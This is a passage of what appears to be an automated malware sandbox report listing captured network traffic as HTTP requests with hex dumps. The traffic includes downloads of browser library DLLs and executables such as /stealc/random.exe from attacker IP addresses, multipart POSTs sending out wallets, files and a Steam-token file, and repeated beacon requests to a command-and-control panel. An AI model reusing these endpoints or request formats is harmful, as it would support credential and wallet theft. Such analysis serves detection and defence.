47 49 44 47 43 42 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="file"------IDHIIJJJKEGIDGCBAFIJ--
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCFHost: 85.28.47.4Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFCHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 2d 2d 0d 0a Data Ascii: ------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="message"wallets------AAEBAFBGIDHCBFHIECFC--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCFHost: 85.28.47.4Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 2d 2d 0d 0a Data Ascii: ------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="message"files------BGDGHJEHJJDAAAKEBGCF--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCGHost: 85.28.47.4Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 2d 2d 0d 0a Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="file"------HDGCFHIDAKECFHIEBFCG--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJHost: 85.28.47.4Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="message"jbdtaijovg------IDHIIJJJKEGIDGCBAFIJ--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 30 30 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000022001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBAKEGIDBGIEBFHDHJJHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 30 31 42 33 34 46 38 43 31 34 34 32 39 33 39 34 34 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 2d 2d 0d 0a Data Ascii: ------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="hwid"2701B34F8C144293944220------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="build"default------GDBAKEGIDBGIEBFHDHJJ--
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /ku4Nor9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 147.45.47.155Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
